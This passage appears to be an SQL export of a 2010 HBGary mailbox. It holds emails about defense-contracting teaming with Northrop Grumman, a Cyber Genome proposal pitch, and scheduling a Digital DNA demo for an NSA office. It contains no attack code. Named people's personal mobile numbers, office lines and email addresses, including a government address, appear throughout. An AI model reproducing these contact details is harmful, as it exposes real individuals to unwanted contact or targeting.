\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI spoke at length\r\nwith Vickie Michaels of CyberSpace Operations Consulting, LLC.  Fundamentally\r\nher company is interested, but wants NGC to pay her company upfront to\r\nconsultant in bringing this business case together.  I conveyed that was\r\nnot going to work, but if she could get her boss to sign the NDA, I would work\r\nwith her to see how they might fit.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOf note, she\r\nwasn’t interested in investing 2-4 hours of her own time just tighten the\r\nshot pattern on this effort.  We left it with her going to see her boss\r\nand present the case (for which she did not seem overly enthusiastic)—we’ll\r\nsee. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned,\r\nCSOC would be nice to have on this team, but not essential.  We have Tom\r\nHobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you\r\nknow to assist with senior customer interface. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nUntil we hear from\r\nVickie, not sure we should plan to rendezvous in San Antonio—I’ll\r\nstay on top of this and keep you in-the-loop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAlso, Jim Hale has\r\nsome things in the work that he believes will be of interest to you. \r\nHe’ll be in touch soon.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJim &#39;Torch&#39; Hale\r\n\r\n\r\n\r\n\r\n\r\n(719) 238-0763 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n(719) 510-8478 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n(301) 652-8885 x117\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest regards,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4981,'aaron_hbgary_com/4981.html'),(2755,'2010-02-17','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001275.M420162P3547Q2755.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>','Invitation: David Luber Meeting  @ Fri Mar 12 1pm - 2pm 	(aaron@hbgary.com)',' more details &raquo;David Luber Meeting This is the ANO meeting.  WhenFri Mar 12 1pm – 2pm Eastern TimeWherethe fort (map)Calendaraaron@hbgary.comWho&#x2022;Rich Cummings - organizer&#x2022;Matt O&#39;Flynn&#x2022;Aaron BarrGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',6112,'aaron_hbgary_com/6112.html'),(2756,'2010-02-17','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001275.M634310P3547Q2756.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>','Updated Invitation: David Luber Meeting  @ Mon Mar 15 1pm - 2pm 	(aaron@hbgary.com)','This event has been changed. more details &raquo;David Luber Meeting This is the ANO meeting.  WhenChanged: Mon Mar 15 1pm – 2pm Eastern TimeWherethe fort (map)Calendaraaron@hbgary.comWho&#x2022;rich@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;Matt O&#39;FlynnGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',12496,'aaron_hbgary_com/12496.html'),(2757,'2010-02-17','\"Leslie Kain\" <lkain@cra.com>','/aaron@hbgary.com/new/1297001275.M851408P3547Q2757.eml','aaron@hbgary.com,ted@hbgary.com,aaron@hbgary.com,ted@hbgary.com,','RE: Cyber Genome','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWill you be attending the newly\r\nrescheduled Genome day next Monday?\r\n\r\nWe are eager to contribute our\r\ncapabilities to a winning team!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLeslie Kain\r\nVice President, Strategic Programs\r\nCharles\r\nRiver Analytics Inc. \r\nNational Capital Region\r\nOffice\r\n202-997-6108\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Leslie Kain \r\nSent: Monday, February 15, 2010\r\n10:35 AM\r\nTo: \'aaron@hbgary.com\';\r\n\'ted@hbgary.com\'\r\nSubject: Cyber Genome\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe were disappointed that the weather cancelled both the Cyber Genome as well as CND/IA\r\nEnabling Capability Industry Days.\r\n\r\nNevertheless, we are moving forward by\r\nidentifying qualified teammates.\r\n\r\n&nbsp;\r\n\r\nCharles River&#8217;s primary focus is not cyber. &nbsp;However, we do have\r\nseveral cyber programs, in which our core capabilities &#8211; machine\r\nreasoning/learning, predictive analytics, COA generation, sensor\r\nprocessing/exploitation, cognitive human interfaces, social/behavioral\r\nmodeling, etc. &#8211; have been applied to great effect.\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have a SBIR program with Mike Van Putte, focused on trust in\r\nnetworks\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have a program with AFRL that focuses specifically on detecting\r\ninsider threats, and aligns with 1.1.3.2 of the Genome BAA (Cyber Anthropology\r\nand Sociology). We are using techniques rooted in anthropology and sociology to\r\ndo our analysis of e-mail content for insider threat detection; we identify potential\r\ninsider threats by applying social network analysis in combination with cyber\r\nnetwork analysis, so you can identify all vectors of information flow, because\r\nanalyzing each network independently is often insufficient. &nbsp;\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have another program with AFRL, which aligns with 1.1.3.3 of\r\nthe BAA (Cyber Physiology).&nbsp; In that program, we are applying functional\r\nlinguistic techniques so that we can understand the function of the code (how\r\nit works), not just its structure (what it looks like). Functional linguistics\r\nis often described as being analogous to physiology while traditional\r\nlinguistics is analogous to anatomy. Understanding the function of malicious\r\ncode not only allows us to infer effective countermeasures, it also allows us\r\nto recognize attacks that we may not have seen before&#8212;attacks that have\r\nthe same function, but not necessarily the same structure, as previously\r\nobserved attacks. \r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe wrote a paper for DARPA&#8217;s LANA RFI [which got us an\r\ninvite to Amy Vanderbilt&#8217;s workshop] focused on some of the attribution\r\nof users to digital artifacts &#8211; how does one know who a user really is?\r\nYou cannot rely on the user account for an insider threat. One way to identify\r\na user&#8217;s true identity is to characterize the user by behavioral cues\r\n(similar to characterizing digital artifacts) such as typical event sequences\r\nin a user account to provide a behavioral fingerprint. If Joe logs in as\r\nCharlie but doesn&#8217;t automatically decrypt Charlie&#8217;s encrypted\r\ndrive, then that&#8217;s an immediate red flag that it&#8217;s not Charlie.\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have another AFRL program that analyzes system behavior\r\nparameters to identify malware by characterizing the behavior of digital\r\nartifacts as they affect the system. &nbsp;This program is particularly focused\r\non interactions between applications and could be used to identify malware with\r\nmultiple payloads (i.e., individually harmless but together they do bad stuff).\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have a DARPA program that uses affect to provide system\r\ndefenses, which could be applied effectively to Genome. \r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Genome BAA seems to emphasize communication; computational\r\nmodels of communication based in anthropology, sociology, and more specifically\r\nsociolinguistics, are the research focus of one of our PhDs.\r\n\r\n&sect;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have several other cyber programs in which we provide training\r\ntools. &nbsp;\r\n\r\n&nbsp;\r\n\r\nPlease let us know when would be a good\r\ntime to discuss.\r\n\r\nThanks/regards,\r\n\r\n&nbsp;\r\n\r\nLeslie Kain\r\nVice President, Strategic Programs\r\nCharles River Analytics Inc. \r\nNational Capital Region Office\r\n202-997-6108\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3751,'aaron_hbgary_com/3751.html'),(2758,'2010-02-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001276.M242433P3547Q2759.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Cyber Genome','Aaron,\r\n \r\nCould this be the data analytics partner you&#39;ve been seeking?\r\n \r\nBob\r\n---------- Forwarded message ----------From: Leslie Kain &lt;lkain@cra.com&gt;Date: Wed, Feb 17, 2010 at 12:24 PM\r\nSubject: RE: Cyber GenomeTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;\r\nCc: &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt;\r\n\r\n\r\n\r\nWill you be attending the newly rescheduled Genome day next Monday?\r\nWe are eager to contribute our capabilities to a winning team!\r\n \r\n\r\nLeslie KainVice President, Strategic ProgramsCharles River Analytics Inc. \r\nNational Capital Region Office202-997-6108\r\n\r\n\r\n\r\n\r\n\r\nFrom: Leslie Kain \r\nSent: Monday, February 15, 2010 10:35 AMTo: &#39;aaron@hbgary.com&#39;; &#39;ted@hbgary.com&#39;\r\nSubject: Cyber Genome\r\n \r\nWe were disappointed that the weather cancelled both the Cyber Genome as well as CND/IA Enabling Capability Industry Days.\r\n\r\nNevertheless, we are moving forward by identifying qualified teammates.\r\n \r\nCharles River’s primary focus is not cyber.  However, we do have several cyber programs, in which our core capabilities – machine reasoning/learning, predictive analytics, COA generation, sensor processing/exploitation, cognitive human interfaces, social/behavioral modeling, etc. – have been applied to great effect.\r\n\r\n§         We have a SBIR program with Mike Van Putte, focused on trust in networks\r\n\r\n§         We have a program with AFRL that focuses specifically on detecting insider threats, and aligns with 1.1.3.2 of the Genome BAA (Cyber Anthropology and Sociology). We are using techniques rooted in anthropology and sociology to do our analysis of e-mail content for insider threat detection; we identify potential insider threats by applying social network analysis in combination with cyber network analysis, so you can identify all vectors of information flow, because analyzing each network independently is often insufficient.  \r\n\r\n§         We have another program with AFRL, which aligns with 1.1.3.3 of the BAA (Cyber Physiology).  In that program, we are applying functional linguistic techniques so that we can understand the function of the code (how it works), not just its structure (what it looks like). Functional linguistics is often described as being analogous to physiology while traditional linguistics is analogous to anatomy. Understanding the function of malicious code not only allows us to infer effective countermeasures, it also allows us to recognize attacks that we may not have seen before—attacks that have the same function, but not necessarily the same structure, as previously observed attacks. \r\n\r\n§         We wrote a paper for DARPA’s LANA RFI [which got us an invite to Amy Vanderbilt’s workshop] focused on some of the attribution of users to digital artifacts – how does one know who a user really is? You cannot rely on the user account for an insider threat. One way to identify a user’s true identity is to characterize the user by behavioral cues (similar to characterizing digital artifacts) such as typical event sequences in a user account to provide a behavioral fingerprint. If Joe logs in as Charlie but doesn’t automatically decrypt Charlie’s encrypted drive, then that’s an immediate red flag that it’s not Charlie.\r\n\r\n§         We have another AFRL program that analyzes system behavior parameters to identify malware by characterizing the behavior of digital artifacts as they affect the system.  This program is particularly focused on interactions between applications and could be used to identify malware with multiple payloads (i.e., individually harmless but together they do bad stuff).\r\n\r\n§         We have a DARPA program that uses affect to provide system defenses, which could be applied effectively to Genome. \r\n\r\n§         The Genome BAA seems to emphasize communication; computational models of communication based in anthropology, sociology, and more specifically sociolinguistics, are the research focus of one of our PhDs.\r\n\r\n§         We have several other cyber programs in which we provide training tools.  \r\n\r\n \r\nPlease let us know when would be a good time to discuss.\r\nThanks/regards,\r\n \r\nLeslie KainVice President, Strategic ProgramsCharles River Analytics Inc. \r\nNational Capital Region Office202-997-6108\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104\r\nbob@hbgary.com\r\n',15495,'aaron_hbgary_com/15495.html'),(2759,'2010-02-17','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001276.M42706P3547Q2758.eml','\"Sprague, Katelyn N\" <ksprague@nsa.gov>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: (U) Digital DNA (HB Gary) Request','\r\n\r\n\r\n  \r\n\r\n\r\nOn 2/3/2010 4:07 PM, Sprague, Katelyn N wrote:\r\n\r\n  \r\n  \r\n  (U) Digital DNA (HB Gary) Request\r\n\r\n  Good Afternoon,\r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; My\r\nboss, David Luber meet with you all in Tennessee this week, at the IA\r\nconference &#8211; he\r\n  would like to set up a session for you both to\r\ngive our office a Digital DNA demo at the unclassified level,\r\nas well as the classified level at\r\n  some point.&nbsp; Please let me know how we can schedule this\r\ndemo.&nbsp; Thank you and I hope you have a great day. &nbsp;&nbsp;&nbsp; \r\n  *~*~*~*~*~*~*~*~*~*~*~*~*\r\n  Katelyn\r\n  Sprague\r\n  443-654-1153\r\n  *~*~*~*~*~*~*~*~*~*~*~*~*\r\n  \r\n\r\nHi Katelyn,\r\n\r\nThank you for your time this morning.&nbsp; This email is to confirm our\r\nunclassified meeting scheduled with Mr. Luber on March 15 at 1300 -\r\n1400.&nbsp; We will require a projector and a movie screen for the briefing\r\nand software demonstration.&nbsp; I would like to provide a software\r\ndemonstration during this time and show a presentation.&nbsp; Please let me\r\nknow if I can bring in 2 laptops to accomplish this.&nbsp; If this is not\r\npossible, we could have the meeting at one of our&nbsp; facilities in the\r\nColumbia MD area.&nbsp; Please let me know so I can plan accordingly.&nbsp; \r\n\r\nI will be bringing 2 colleagues Matt Oflynn and Aaron Barr.&nbsp; We will\r\nsend over our information in a subsequent email.\r\n\r\nHave a great day and I look forward to meeting you on the 15th of March.\r\n\r\nRich Cummings&nbsp; |&nbsp; CTO&nbsp; |&nbsp; HBGary, Inc.\r\n703-999-5012\r\nrich@hbgary.com\r\n\r\n\r\n\r\n\r\n',16800,'aaron_hbgary_com/16800.html'),(2760,'2010-02-17','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001276.M444093P3547Q2760.eml','Aaron@hbgary.com,Aaron@hbgary.com','Re: 624th Ops Center--Next Steps','\r\nAaron,I\'m back off travel; if you and Mike can give me some \'time windows\' for Thurs or Fri, I\'ll set-up a 30 minute call to discuss approach and next steps.  Bob-----------------------Sent via Blackberry\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Shows, Bob (IS)Cc: Edwards, Michael (CORP)Sent: Wed Feb 17 11:05:17 2010Subject: Re: 624th Ops Center--Next Steps\r\nBob/mike,I am interested to get your feedback on what u think of this approach.  It&#39;s not the answer but I think it&#39;s one of the right starting points and I think it will resonate with customers.  I am also working on some dynamic defense capabilities with ours and our partner tools.  This will leverage the threat intelligence center model as well.\r\nYou guys talk to a lot of the customers so interested to get your take.Aaron From my iPhoneOn Feb 15, 2010, at 9:39 AM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nUsed a ‘sent’\r\nemail below; this should work better!\r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Monday, February 15, 2010 8:36 AM\r\nTo: Shows, Bob (IS)\r\nCc: Edwards, Michael (CORP)\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nWeather and travel\r\nreally de-railed my schedule last week.  I  will catch-up with you\r\nthis week. \r\n\r\n \r\n\r\nI reviewed the\r\nAurora brochure—a very sophisticated presentation.  Please help me\r\nunderstand how this will be used?  Was it an assessment specified for a\r\nspecific organization?  \r\n\r\n \r\n\r\nHopefully Mike\r\nwill be able to assist as we expand our relationship with the 24th\r\nNAF and 624th Operations Center—he’s still grieving over\r\nyour departure from NGC!\r\n\r\n \r\n\r\nBest of the day, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Tuesday, February 09, 2010 9:44 AM\r\nTo: Aaron Barr\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron, \r\n\r\n \r\n\r\nNo word back from\r\nVickie—so I take that as a “no”.   That’s\r\nfine since we can get to many consultants on our own.  Gen (Ret) Tom\r\nHobbins is back onboard with NGC—he brings a lot.   I’ll\r\ncatch-up with you Wed or Thurs to work next steps.   Let me know if\r\none timeframe is better than another to call.  \r\n\r\n \r\n\r\nCheers,\r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:17 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Bob,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust checking in to see any status on this effort.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI spoke at length\r\nwith Vickie Michaels of CyberSpace Operations Consulting, LLC.  Fundamentally\r\nher company is interested, but wants NGC to pay her company upfront to\r\nconsultant in bringing this business case together.  I conveyed that was\r\nnot going to work, but if she could get her boss to sign the NDA, I would work\r\nwith her to see how they might fit.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOf note, she\r\nwasn’t interested in investing 2-4 hours of her own time just tighten the\r\nshot pattern on this effort.  We left it with her going to see her boss\r\nand present the case (for which she did not seem overly enthusiastic)—we’ll\r\nsee. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned,\r\nCSOC would be nice to have on this team, but not essential.  We have Tom\r\nHobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you\r\nknow to assist with senior customer interface. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nUntil we hear from\r\nVickie, not sure we should plan to rendezvous in San Antonio—I’ll\r\nstay on top of this and keep you in-the-loop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAlso, Jim Hale has\r\nsome things in the work that he believes will be of interest to you. \r\nHe’ll be in touch soon.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJim &#39;Torch&#39; Hale\r\n\r\n\r\n\r\n\r\n\r\n(719) 238-0763 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n(719) 510-8478 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n(301) 652-8885 x117\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest regards,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9681,'aaron_hbgary_com/9681.html'),(2761,'2010-02-17','\"Edwards, Michael (CORP)\" <Michael.Edwards@ngc.com>','/aaron@hbgary.com/new/1297001276.M747538P3547Q2761.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,Aaron@hbgary.com','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n0900 and 1200 on Friday\r\n\r\n&nbsp;\r\n\r\nMike Edwards \r\nCorporate Director, Air Force C3 &amp; CYBER Programs \r\nNorthrop Grumman Corporation\r\n\r\n1000 Wilson Blvd, Suite 2300\r\n\r\nArlington, VA 22209 \r\nmichael.edwards@ngc.com \r\n703-741-7325 (w) 571-748-8401(C)\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Wednesday, February 17, 2010 12:49 PM\r\nTo: \'Aaron@hbgary.com\'\r\nCc: Edwards, Michael (CORP)\r\nSubject: Re: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\nI\'m back off travel; if you and Mike can give me some \'time windows\' for Thurs\r\nor Fri, I\'ll set-up a 30 minute call to discuss approach and next steps. Bob \r\n----------------------- \r\nSent via Blackberry \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n&lt;aaron@hbgary.com&gt; \r\nTo: Shows, Bob (IS) \r\nCc: Edwards, Michael (CORP) \r\nSent: Wed Feb 17 11:05:17 2010\r\nSubject: Re: 624th Ops Center--Next Steps \r\n\r\n\r\n\r\n\r\n\r\nBob/mike,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am interested to get your\r\nfeedback on what u think of this approach. &nbsp;It\'s not the answer but I\r\nthink it\'s one of the right starting points and I think it will resonate with\r\ncustomers. &nbsp;I am also working on some dynamic defense capabilities with\r\nours and our partner tools. &nbsp;This will leverage the threat intelligence\r\ncenter model as well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou guys talk to a lot of the customers\r\nso interested to get your take.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron&nbsp;\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 9:39 AM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUsed a ‘sent’ email\r\nbelow; this should work better!\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Monday, February 15, 2010 8:36 AM\r\nTo: Shows, Bob (IS)\r\nCc: Edwards, Michael (CORP)\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWeather and travel really\r\nde-railed my schedule last week.&nbsp; I&nbsp; will catch-up with you this\r\nweek. \r\n\r\n&nbsp;\r\n\r\nI reviewed the\r\nAurora brochure—a very sophisticated presentation.&nbsp; Please help me\r\nunderstand how this will be used?&nbsp; Was it an assessment specified for a\r\nspecific organization?&nbsp; \r\n\r\n&nbsp;\r\n\r\nHopefully Mike will\r\nbe able to assist as we expand our relationship with the 24th NAF\r\nand 624th Operations Center—he’s still grieving over your departure\r\nfrom NGC!\r\n\r\n&nbsp;\r\n\r\nBest of the day, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Tuesday, February 09, 2010 9:44 AM\r\nTo: Aaron Barr\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nNo word back from\r\nVickie—so I take that as a “no”.&nbsp;&nbsp; That’s fine since we can get to\r\nmany consultants on our own. &nbsp;Gen (Ret) Tom Hobbins is back onboard with\r\nNGC—he brings a lot.&nbsp; &nbsp;I’ll catch-up with you Wed or Thurs to work\r\nnext steps. &nbsp;&nbsp;Let me know if one timeframe is better than another to\r\ncall. &nbsp;\r\n\r\n&nbsp;\r\n\r\nCheers,\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:17 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust checking in to see any status on this effort.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI spoke at length\r\nwith Vickie Michaels of CyberSpace Operations Consulting, LLC.&nbsp;\r\nFundamentally her company is interested, but wants NGC to pay her company\r\nupfront to consultant in bringing this business case together.&nbsp; I conveyed\r\nthat was not going to work, but if she could get her boss to sign the NDA, I\r\nwould work with her to see how they might fit.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOf note, she wasn’t\r\ninterested in investing 2-4 hours of her own time just tighten the shot pattern\r\non this effort.&nbsp; We left it with her going to see her boss and present the\r\ncase (for which she did not seem overly enthusiastic)—we’ll see.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned,\r\nCSOC would be nice to have on this team, but not essential.&nbsp; We have Tom\r\nHobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you\r\nknow to assist with senior 